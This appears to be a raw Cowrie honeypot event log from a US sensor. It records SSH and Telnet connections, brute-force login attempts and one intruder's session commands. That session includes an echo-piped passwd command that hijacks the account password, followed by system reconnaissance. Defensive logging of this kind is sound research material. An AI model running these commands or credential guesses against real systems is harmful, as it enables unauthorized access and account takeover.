{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/75e9e6c19ad3b67c454c1b8e3da32c4fc73f46353cbad6e85259fc32f2e9b347","size":32,"shasum":"75e9e6c19ad3b67c454c1b8e3da32c4fc73f46353cbad6e85259fc32f2e9b347","duplicate":false,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/75e9e6c19ad3b67c454c1b8e3da32c4fc73f46353cbad6e85259fc32f2e9b347 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:05.984634Z","src_ip":"103.170.173.26","session":"f8b6b688d422","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.05519986152649,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:06.422799Z","src_ip":"162.55.233.176","session":"ce74e2719935","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:06.573740Z","src_ip":"103.170.173.26","session":"f8b6b688d422","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"admin123321\\np3gBnXe0L79B\\np3gBnXe0L79B\\n\"|passwd","message":"CMD: echo \"admin123321\\np3gBnXe0L79B\\np3gBnXe0L79B\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:06.576885Z","src_ip":"103.170.173.26","session":"f8b6b688d422","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.12013864517212,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:06.696840Z","src_ip":"162.55.233.176","session":"b7ce9f65d543","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.4138069152832,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:06.774223Z","src_ip":"162.55.233.176","session":"ba47f0cfa60c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.40339636802673,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:06.806249Z","src_ip":"162.55.233.176","session":"5f4d22478596","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/55187e20375ee7989624657d869c0e299527c0654e19b317f93762d33d27a7a6","size":25,"shasum":"55187e20375ee7989624657d869c0e299527c0654e19b317f93762d33d27a7a6","duplicate":false,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/55187e20375ee7989624657d869c0e299527c0654e19b317f93762d33d27a7a6 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:06.855073Z","src_ip":"103.170.173.26","session":"f8b6b688d422","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":58008,"dst_ip":"159.203.135.109","dst_port":23,"session":"ee0d857a7b68","protocol":"telnet","message":"New connection: 162.55.233.176:58008 (159.203.135.109:23) [session: ee0d857a7b68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:06.913133Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":58018,"dst_ip":"159.203.135.109","dst_port":23,"session":"49f5a0e94ea5","protocol":"telnet","message":"New connection: 162.55.233.176:58018 (159.203.135.109:23) [session: 49f5a0e94ea5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:07.241376Z"}
{"eventid":"cowrie.session.closed","duration":3.073758602142334,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:07.254071Z","src_ip":"162.55.233.176","session":"a08334fd6d0b","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:07.489235Z","src_ip":"103.170.173.26","session":"f8b6b688d422","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:07.492280Z","src_ip":"103.170.173.26","session":"f8b6b688d422","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.480557441711426,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:07.542900Z","src_ip":"162.55.233.176","session":"b378e162caf5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.34711027145386,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:07.652538Z","src_ip":"162.55.233.176","session":"23e33679f7d9","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:07.771319Z","src_ip":"103.170.173.26","session":"f8b6b688d422","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.19864463806152,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:07.978087Z","src_ip":"162.55.233.176","session":"bb4130061d98","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":58030,"dst_ip":"159.203.135.109","dst_port":23,"session":"1325f1185018","protocol":"telnet","message":"New connection: 162.55.233.176:58030 (159.203.135.109:23) [session: 1325f1185018]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:08.043523Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:08.379970Z","src_ip":"103.170.173.26","session":"f8b6b688d422","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:08.383361Z","src_ip":"103.170.173.26","session":"f8b6b688d422","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.70366954803467,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:08.435794Z","src_ip":"188.208.141.113","session":"b2263d7a6ac8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.93313956260681,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:08.518223Z","src_ip":"162.55.233.176","session":"adcd5971e0e1","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":26,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:08.664393Z","src_ip":"103.170.173.26","session":"f8b6b688d422","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.971864461898804,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:08.955093Z","src_ip":"162.55.233.176","session":"a4f6cb8fbd0a","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:09.258478Z","src_ip":"103.170.173.26","session":"f8b6b688d422","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:09.261212Z","src_ip":"103.170.173.26","session":"f8b6b688d422","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:09.264278Z","src_ip":"103.170.173.26","session":"f8b6b688d422","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.94454336166382,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:09.271993Z","src_ip":"162.55.233.176","session":"b3f5ebe1c852","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.242286920547485,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:09.350186Z","src_ip":"162.55.233.176","session":"3d98da0ad5d1","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:09.544495Z","src_ip":"103.170.173.26","session":"f8b6b688d422","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.709741830825806,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:09.750421Z","src_ip":"162.55.233.176","session":"b1cb6639f0b8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":58036,"dst_ip":"159.203.135.109","dst_port":23,"session":"8ed1a5ad2a66","protocol":"telnet","message":"New connection: 162.55.233.176:58036 (159.203.135.109:23) [session: 8ed1a5ad2a66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:09.762790Z"}
{"eventid":"cowrie.session.closed","duration":41.981101751327515,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:09.820624Z","src_ip":"162.55.233.176","session":"c63aec86fc93","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:10.133510Z","src_ip":"103.170.173.26","session":"f8b6b688d422","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:10.137066Z","src_ip":"103.170.173.26","session":"f8b6b688d422","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:10.414425Z","src_ip":"103.170.173.26","session":"f8b6b688d422","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.911373615264893,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:10.632880Z","src_ip":"162.55.233.176","session":"290bb2a1f680","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.137.11.14","src_port":29911,"dst_ip":"10.17.0.5","dst_port":22,"session":"9c4ef14db81f","protocol":"ssh","message":"New connection: 38.137.11.14:29911 (10.17.0.5:22) [session: 9c4ef14db81f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:10.856677Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:10.861457Z","src_ip":"38.137.11.14","session":"9c4ef14db81f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:10.997188Z","src_ip":"103.170.173.26","session":"f8b6b688d422","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:11.000542Z","src_ip":"103.170.173.26","session":"f8b6b688d422","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:11.105812Z","src_ip":"38.137.11.14","session":"9c4ef14db81f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:11.280536Z","src_ip":"103.170.173.26","session":"f8b6b688d422","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.714061975479126,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:11.671237Z","src_ip":"162.55.233.176","session":"01915836aa50","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:11.874071Z","src_ip":"103.170.173.26","session":"f8b6b688d422","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:11.877296Z","src_ip":"103.170.173.26","session":"f8b6b688d422","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"VjCdn","message":"login attempt [root/VjCdn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:12.013815Z","src_ip":"213.209.159.158","session":"c66bd48220d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"qwe123","message":"login attempt [server/qwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:12.124294Z","src_ip":"38.137.11.14","session":"9c4ef14db81f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:12.155860Z","src_ip":"103.170.173.26","session":"f8b6b688d422","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":58038,"dst_ip":"159.203.135.109","dst_port":23,"session":"3f3b0bbc6fd5","protocol":"telnet","message":"New connection: 162.55.233.176:58038 (159.203.135.109:23) [session: 3f3b0bbc6fd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:12.321938Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:12.738693Z","src_ip":"103.170.173.26","session":"f8b6b688d422","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:12.742096Z","src_ip":"103.170.173.26","session":"f8b6b688d422","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:13.023314Z","src_ip":"103.170.173.26","session":"f8b6b688d422","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":35466,"dst_ip":"159.203.135.109","dst_port":23,"session":"f51b859faaed","protocol":"telnet","message":"New connection: 162.55.233.176:35466 (159.203.135.109:23) [session: f51b859faaed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:13.119546Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:13.370162Z","src_ip":"38.137.11.14","session":"9c4ef14db81f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.922441720962524,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:13.396681Z","src_ip":"162.55.233.176","session":"8061660ab969","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:13.615507Z","src_ip":"103.170.173.26","session":"f8b6b688d422","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:13.619221Z","src_ip":"103.170.173.26","session":"f8b6b688d422","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:13.898696Z","src_ip":"103.170.173.26","session":"f8b6b688d422","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":35470,"dst_ip":"159.203.135.109","dst_port":23,"session":"0f72a8c441aa","protocol":"telnet","message":"New connection: 162.55.233.176:35470 (159.203.135.109:23) [session: 0f72a8c441aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:14.263427Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":35484,"dst_ip":"159.203.135.109","dst_port":23,"session":"79129b877666","protocol":"telnet","message":"New connection: 162.55.233.176:35484 (159.203.135.109:23) [session: 79129b877666]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:14.404785Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:14.486770Z","src_ip":"103.170.173.26","session":"f8b6b688d422","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:14.489519Z","src_ip":"103.170.173.26","session":"f8b6b688d422","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.891298055648804,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:14.755699Z","src_ip":"162.55.233.176","session":"b565cc662b9f","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:14.767723Z","src_ip":"103.170.173.26","session":"f8b6b688d422","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.499577045440674,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:14.874346Z","src_ip":"188.208.141.113","session":"41e0bd9dbbb9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":35490,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd814665a056","protocol":"telnet","message":"New connection: 162.55.233.176:35490 (159.203.135.109:23) [session: dd814665a056]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:15.051316Z"}
{"eventid":"cowrie.session.closed","duration":"14.2","message":"Connection lost after 14.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:15.185728Z","src_ip":"213.209.159.158","session":"c66bd48220d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":27928,"dst_ip":"10.17.0.5","dst_port":22,"session":"fdb3f538dbe0","protocol":"ssh","message":"New connection: 213.209.159.158:27928 (10.17.0.5:22) [session: fdb3f538dbe0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:15.288562Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:15.362624Z","src_ip":"103.170.173.26","session":"f8b6b688d422","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:15.366252Z","src_ip":"103.170.173.26","session":"f8b6b688d422","protocol":"ssh"}
